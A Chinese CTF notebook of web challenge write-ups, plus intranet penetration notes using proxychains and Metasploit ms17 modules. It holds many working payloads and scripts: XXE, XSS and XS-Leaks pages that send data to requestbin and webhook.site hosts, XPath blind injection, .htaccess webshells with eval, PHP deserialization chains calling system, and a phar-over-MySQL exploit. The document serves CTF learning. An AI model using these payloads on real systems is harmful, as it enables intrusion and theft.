buu刷题

[CISCN2019 华东南赛区]Web4

一开始以为是ssrf,发现使用local_file://可以读取文件

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

修改session为fuck即可,所以伪造session即可,但是没有爆破出密码,发现源码里面的key

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

local_file:///sys/class/net/eth0/address 读取mac地址

然后计算得到key

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '99.2806389887'

[GoogleCTF2019 Quals]Bnv

有源码,看到xml,想到xxe攻击,记得改一下报文头为xml,然后发送了一下测试的报文,发现有不一样的回显了

root and DTD name do not match 'root' and 'xxe', line 5, column 6

发现找不到DTD,于是在下面定一下

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE message [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>

<message>&xxe;</message>

此时回显,

Failure to process entity xxe, line 7, column 15

也就说无法正常读取,也就是说他需要一个内部的DTD文件,

https://mohemiv.com/tags/xxe/

在block-post中也提到,Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。

最终payload

<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

还有一件事是由于DTD代码有一些破坏XML的字符,所以需要他们进行这样的编码

[GWCTF 2019]mypassword

登录进去以后,看到有个反馈框,想到xss,查看源码,发现关键字替换为空,双写即可

if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

可以看到username和password已经载入表单当中了,只要将他们外带就行了利用http://http.requestbin.buuoj.cn/18v8ark1?inspect这个平台即可实现

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/18v8ark1/?a="+psw;
</scrcookieipt>

[NPUCTF2020]ezlogin

xpath的sql盲注

https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/#%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8

xpath注入攻击

XPath是一种在XML文档中查找目标信息的语言,可以用来在XML文档中对元素和属性进行遍历。XPath使用路径表达式来选取XML文档中的节点或节点集。

在XPath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。

img

Xpath和Xquery语法:

  • “nodename” – 选取nodename的所有子节点
  • “/nodename” – 从根节点中选择
  • “//nodename” – 从当前节点选择
  • “..” – 选择当前节点的父节点
  • “child::node()” – 选择当前节点的所有子节点
  • “@” -选择属性
  • “//user[position()=2] “ 选择节点位置

万能密码

在知道用户名的情况下,可以直接admin’ or ‘1’=’1,由于没有注释符,所以只能用引号进行闭合,

不知道用户名的强狂下,可以使用两个or

?name=fake' or '1'or'1&pwd=fake

使用|操作符(用于计算两个节点)

?name=1']|//*|ss['&pwd=fake
其中//*用于列出文档所有元素
']|//*|//*['
该payload用于访问xml文档的所有节点

盲注

xpath盲注步骤

1.判断根节点下的节点数
2.判断根节点下节点长度&名称
3.重复猜解完所有节点,获取最后的值

‘ or count(/)=1 or ‘1 判断有几个根节点
‘ or string-length(name(/*[1]))=1 or ‘1 获取根节点长度
‘ or substring(name(/*[1]), 1, 1)=’a’ or ‘1 获取内容

通过测试发现,当’ or count(/)=1 or ‘1时,返回非法操作,如果为2,则为账号密码错误,所以存在布尔盲注,所根节点数为1,接下来判断根节点下的节点数

import requests
import string
import re
import random
import json

s = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
t=''
for i in range(1,50):
for j in strs:
url = 'http://10506bbe-96d3-4ebf-99ca-6fddf8972f8a.node4.buuoj.cn:81/login.php'
token=re.findall(param,s.get(url).text)[0]
#探测有几个节点:
#data=f"<username> ' or count(/)={i} or '1</username><password>123</password><token>"+token+"</token>" 探测出有一个节点
#data = f"<username> ' or substring(name(/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"#第一个节点名称为root
#data=f"<username> ' or substring(name(/root/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>"+token+"</token>"
#data = f"<username> ' or substring(name(/root/accounts/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
#探测user下的节点,发现有三个
#data = f"<username>' or substring(name(/root/accounts/user/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
#data = f"<username>' or substring(name(/root/accounts/user/*[2]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
#最后读取值的时候直接输入路径即可,无需在用name()包裹
data = f"<username>' or substring(/root/accounts/user[2]/password/text(), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
print(data)
r= s.post(url=url,headers=headers,data=data).text
print(r)
if '非法操作' in r:
t += j
print(t)
break
if j==0:
exit()

[极客大挑战 2020]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

md5和sha1加密后相等,但是本身值不等, 这里就要拓宽思路,本身的值可以是什么?当然还可以是错误信息之类的。而这里也是用到了这个php的报错内置类导致回显结果相等

<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

[XNUCA2019Qualifier]EasyPHP

这里一看就知道是要使用htaccess进行绕过了。。。

但是其实自己还没做过这样的题,积累一下姿势

利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \

直接写入执行命令

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\

如上指令需要经过urlencode一下

filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_GET[%27cmd%27])%3b%20%3f%3E\

%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%63%68%6f%20%60%63%61%74%20%66%2a%60%3b%20%3f%3e%5c

payload

?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F%2BADw%3Fphp%20die(eval(%24_GET%5B2%5D))%2BADs%20%2BAF8AXw-halt%2BAF8-compiler()%2BADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

非预期解

import requests

# %23 是# 的url编码,防止python把自己注释了
# \\ , 两个\\上传上去就是 一个 \

content = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''

url = "http://203dd3ff-f703-4233-b159-93832d5b93b3.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

记一次内网渗透

再学长们渗透配置好frp以后,接下来的操作记录

PS:在对内网进行攻击时,都需要使用proxychains配置一下代理

proxychains配置

作用

vi /etc/proxychains4.conf

配置了proxychains以后可以将端口转发进内网

使用proxychains配置一下

socks5  xxxx.xxx.xxx.xxx port

然后使用代理进入执行命令
img

msf指令

search smb_version 
#搜索模块
use 0
#选择0号模块
set RHOSTS XXX.XXX.XXX.XXX
#设置访问内网主机ip
search ms17
#查看ms17模块能执行什么命令
use 5
#使用5号功能
show options
#显示 模块的options能执行什么
set RHOSTS XXX.XXX.XXX.XXX
#设置目标主机
set COMMAND whoami
执行命令

2022UTCTF

HTMLPDF

题目都还看到就被师傅们做出来了

通过使用

<b>Try Me!</b>
<iframe src="/proc/self/cwd/app.py" height="1600px" width="800px">

可以读到源码

from flask import *
import pdfkit
import subprocess
import time
import os
import spwd
import crypt
from hmac import compare_digest as compare_hash
app = Flask(__name__)
@app.route('/', methods=['POST','GET'])
def index():
if request.method == 'POST':
html_content = request.form.get('content')
if html_content is None:
return render_template('index.html')
if '/environ' in html_content:
# Don't let them read the flag from /proc/<pid>/environ
return 'Aren''t you sneaky? That''s a good idea, but not the intended solution, so keep trying :)'
# Filenames.
html = render_template('document.html', content=html_content)
uid = str(hash(time.time())) # Using a hash of the time ensures unique filenames between requests.
out_filename = uid+'.pdf'
html_filename = uid+'.html'
html_file = open(html_filename, 'w')
html_file.write(html)
html_file.close()
# Generate PDF.
TIMEOUT = '3'
subprocess.run(['xvfb-run', 'timeout', '--preserve-status', '-k', TIMEOUT, TIMEOUT, 'wkhtmltopdf','--enable-local-file-access', html_filename, out_filename])
# Cleanup and return result.
out_file = open(out_filename, 'rb')
output = out_file.read()
out_file.close()
#os.remove(out_filename)
#os.remove(html_filename)
response = make_response(output)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'inline; filename=document.pdf'
return response
return render_template('index.html')
@app.route('/admin', methods=['POST','GET'])
def adminLogin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username is None or password is None:
return render_template('login.html')
# Check that username and password match a user in the system.
try:
pw1 = spwd.getspnam(username).sp_pwd
pw2 = crypt.crypt(password, pw1)
if compare_hash(pw2, pw1):
return render_template('login.html', msg=os.environ['FLAG'])
else:
return render_template('login.html', msg='Incorrect password!')
except KeyError:
# No such username.
return render_template('login.html', msg='Incorrect username!')
return render_template('login.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')

存在同源策略,因此不允许直接跨目录实现文件读取,只能读取web目录下的,绕过方法:

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

拿到密码以后,发现使用弱密码加密,使用john爆破密码

img
john test_passwd

img

websocket

抓包抓不到东西,看起来是要用socket去连接,然后爆破密码吧

import asyncio
import websockets

async def hello():
with open("test_pa.txt","r") as f:
paswd=f.readlines()
for i in paswd:
uri = "ws://web1.utctf.live:8651/internal/ws"
async with websockets.connect(uri) as websocket:
await websocket.send('begin')
result = await websocket.recv()
#print(result)
await websocket.send('user admin')
await websocket.send('pass '+i.replace("\n",""))
result = await websocket.recv()
print(result)
print(f'pass {i}'.replace("\n",""))
if result!= "badpass":
print(i)
break


asyncio.get_event_loop().run_until_complete(hello())

2021安洵杯

2022SUSCTF

fxxkcors

CSRF题目,但是之前没做过,学习一下,大概思路就是通过让robots访问这个表单,然后就可以提升权限

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">
<input type="hidden" name='{"username":"skr","test":"' value='"}' />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

ez_note

跳转类型 XS-Leaks

https://xsleaks.dev/docs/attacks/navigations/

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>

<body>
<script>
var flag = 'SUSCTF{'
function send(msg) {
fetch('https://webhook.site/bad84752-95a1-45c4-8395-e5577ea1112b?msg=' + encodeURIComponent(msg))
}
function trying(keyword) {
return new Promise(resolve => {
var win = window.open('http://123.60.29.171:10001/search?q=' + keyword)
setTimeout(() => {
win.location = 'http://e050-220-133-126-220.ngrok.io/non.html'
setTimeout(() => {
if (win.history.length === 3) {
send('success:' + keyword)
} else {
//send('fail:' + keyword)
}
win.close();
}, 1000)
}, 1500)
})
}

async function run() {
send('start')
// }abcdefghijklmnopqrstuvwxyz0123456789_
// }abcdefghijklmnopqrs
//
let chars = '_abcdefghijklmnopqrstuv'.split('')
//let chars = '}wxyz0123456789_'.split('')
for(let char of chars) {
const temp = flag + char
trying(temp)
}
}

setTimeout(() => {
run()
}, 1000)

</script>
</body>
</html>

HTML practice

使用##可以让页面空白——>mako框架,

可以使用下面语句执行命令,但是无回显结果,不过可以存到其他文件夹里,使用文件重定向符号

% for a in (self.module.cache.util.os.system(name),2,3):
1
% endfor

java审计-javacon分析

前言

在前面做了那么多环境搭建以后,其中的漏洞难度利用其实不高,我感觉java的难点应该还是在反射、反序列化之类的地方,于是回来重新做一下

环境搭建

对jar进行解压,然后使用idea打开,配置一下远程,复制代码

使用一下命令运行jar包

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar challenge-0.0.1-SNAPSHOT.jar

web前端开发

2022TQLctf

sql_test

看到这题有挖掘利用链的操作,学一下,感觉自己针对框架的链子挖掘还是很陌生

这是一个symphony的目录,所以先认识一下这个框架,了解项目之间的文件关系

config/:包含配置文件
src/:所有的php源代码
templates/:Twig模板文件
bin/:这里面主要是使用console文件,进行执行相关symfony命令
var/:主要是包含:缓存文件和日志文件
vendor/:第三方库文件
public/:web网站根目录,如果使用apache、nginx这样的web服务器,需要把根目录指向这个目录

首先是挖掘链子,挖掘利用链,肯定是先找合适的destruct,但是翻了一下,发现destruct很多都有wake_up方法,所以转换思路,从其他魔术方法入手,先看看call方法,发现了两个可以进行命令执行的点,很明显,下面那个利用起来会更方便一些

public function __call($method, $args)
{
if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) {
$genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];
$level = strtolower($matches[2]);
if (method_exists($this, $genericMethod)) {
$args[] = $level;
return call_user_func_array([$this, $genericMethod], $args);
}
}
throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()');
}

在这里,可以调用任意类的invoke()函数,所以我们去看看有没有适合的

namespace Symfony\Component\Cache\Traits;

public function __call(string $method, array $args)
{
$this->redis ?: $this->redis = $this->initializer->__invoke();

return $this->redis->{$method}(...$args);
}

可以发现,在这里存在一个动态调用

namespace Symfony\Component\Console\Helper;

    public function __invoke($var): string
{
return ($this->handler)($var);
}
}

接下来我们只需要寻找一下能传入两个参数,并且拥有$xxx->xxx()的类即可

可以看到这里的destruct执行的commit函数有我们需要的

public function __destruct()
{
$this->commit();
}

通过执行$item->getExpiry即可

public function commit(): bool
{
if (! $this->deferredItems) {
return true;
}

$now = microtime(true);
$itemsCount = 0;
$byLifetime = [];
$expiredKeys = [];

foreach ($this->deferredItems as $key => $item) {
$lifetime = ($item->getExpiry() ?? $now) - $now;

接下来我们组装一下

<?php
namespace Doctrine\Common\Cache\Psr6{
class CacheAdapter
{

private $deferredItems;

public function __construct()
{
$this->deferredItems =array(new \Symfony\Component\Cache\Traits\RedisProxy());
}

}
}
namespace Symfony\Component\Cache\Traits {
class RedisProxy
{
private $redis;
private $initializer;
private $ready = false;

public function __construct()
{
$this->redis = "id";
$this->initializer = new \Symfony\Component\Console\Helper\Dumper();
}
}
}

namespace Symfony\Component\Console\Helper {
class Dumper
{
private $handler;

public function __construct()
{
$this->handler = "system";
}
}
}

namespace {
$a = new Doctrine\Common\Cache\Psr6\CacheAdapter();
echo base64_encode(serialize($a));
}

然后在本地测试一下就可以跑通了,接下来寻找一下反序列化点,可以看到没有unserialize,那一般就是phar反序列化了,需要寻找一下反序列化点。

本地测试了一下,成功触发:
img

可以看到这里有个注入点,其中key和value可控,查询手册可知,key为选择操作的参数

MYSQLI_INIT_COMMAND - 成功建立 MySQL 连接之后要执行的 SQL 语句

通过使用这个操作,可以执行value的内容

public function index(Request $request): Response
{
$con = mysqli_init();
$key = $request->query->get('key');
$value = $request->query->get('value');

if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}

二分法盲注,我们前面知道,需要找到文件上传点,而这里有个注入点,所以先看看有没有写入权限

爆破出可写入目录

/tmp/ce4d60d5da0336986edff5e01d97cC3e/

所以执行sql语句进行写入,wp中写到mysqli_server_public_key这个选项设计到文件操作,是指定服务端公钥的路径。

因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。在这里可以通过执行FLUSH PRIVILEGES的命令或者修改用户密码,导致连接失败,同样会触发加载公钥的操作

完整的payload如下:

但是本地起了docker以后跑失败了。。。可能是环境原因吧,毕竟用了出题人的exp跑了也不行,但是我觉得还是应该尝试一下这个mysql的

import requests
import time
import random
import string
import os
import binascii
s=requests.session()
url="http://110.42.133.120:7001"

def req(key, value):
resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
return resp

def get_secure_file_path():
file_path = ""
for i in range(1,10000):
low =0
high=264
mid=(low+high)//2
while(low<high):
payload = f"select if (ascii(substr((select @@global.secure_file_priv),{i},1))>{mid},sleep(5),1);"
#print(payload)
fi_time=time.time()
s.get(url+payload)
if time.time()-fi_time>4:
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==0 or mid==264):
break
file_path +=chr(mid)
return file_path

def exp(file_path):
filename="".join(random.sample(string.ascii_letters,6))+'.phar'
file=os.path.join(file_path,filename)

hex_data=str(binascii.b2a_hex(open('test.phar','rb').read())).replace("b'","").replace("'","")
print(hex_data)
command=f"select 0x{hex_data} into dumpfile '{file}'"
print(command)
req('3',command)

command=f"select if((ISNULL(load_file('{file}'))),sleep(2),1);"
if req('3', command).elapsed.seconds > 1.5:
print("file write fail!")
exit()

req('3',"FLUSH PRIVILEGES;")
time.sleep(5)
print(file)
resp = req('35', 'phar://' + file)
print(resp.text)

if __name__=='__main__':
#file_path=get_secure_file_path()
file_path="/tmp/ce4d60d5da0336986edff5e01d97c73e/"
print(file_path)
exp(file_path)

echo加上要用的功能点名称就能输出value了

还有一点需要注意的是,python输出的时候会自带一个b’符号要将他置换为空,不然影响写入结果

classLoader类加载机制

ClassLoader类加载机制

在程序运行时,并不会一次性加载所有的class文件进入内存,而是通过java的类加载机制(ClassLoader)进行动态加载,从而转化成java.lang.Class类的一个实例。

ClassLoader类

通过指定的类的名称,找到或生成对应的字节码,返回一个java.lang.Class的实例。开发者可以通过继承ClassLoader类来实现自定义的类加载器。

ClassLoader类中和加载类相关的方法

1.getparent():返回该类加载器的父类加载器

2.loadClass(String name):加载名称为name的类,返回的结果是java.lang.Class类的实例

3.findClass(String name):查找名称为name的类,返回的结果是java.lang.Class类的实例

4.findLoadedClass(String name):查找名称为name的已经被加载过的类,返回的结果是java.lang.Class类的实例

5.defineClass(String name, bytep[] b,int off,int len):把字节数组b中的内容转换成java类,返回的结果是java.lang.Class类的实例,该方法被声明为final

6.resolveClass(Class<?> c) :链接指定的java类

流程

1.当loadClass方法被调用时,会首先使用findLoadedClass()方法判断该类是否已经被加载。

2.若未被加载,则优先使用加载器的父类加载器进行加载

3.若不存在父类加载器,无法对该类进行加载时,就调用自身的findClass()方法。

因此可以重写findClass()来完成一些类加载的特殊要求。

URLClassLoader类

可以从远程服务器上加载类的能力

java动态代理

动态代理实质是反射

2022tqlCTF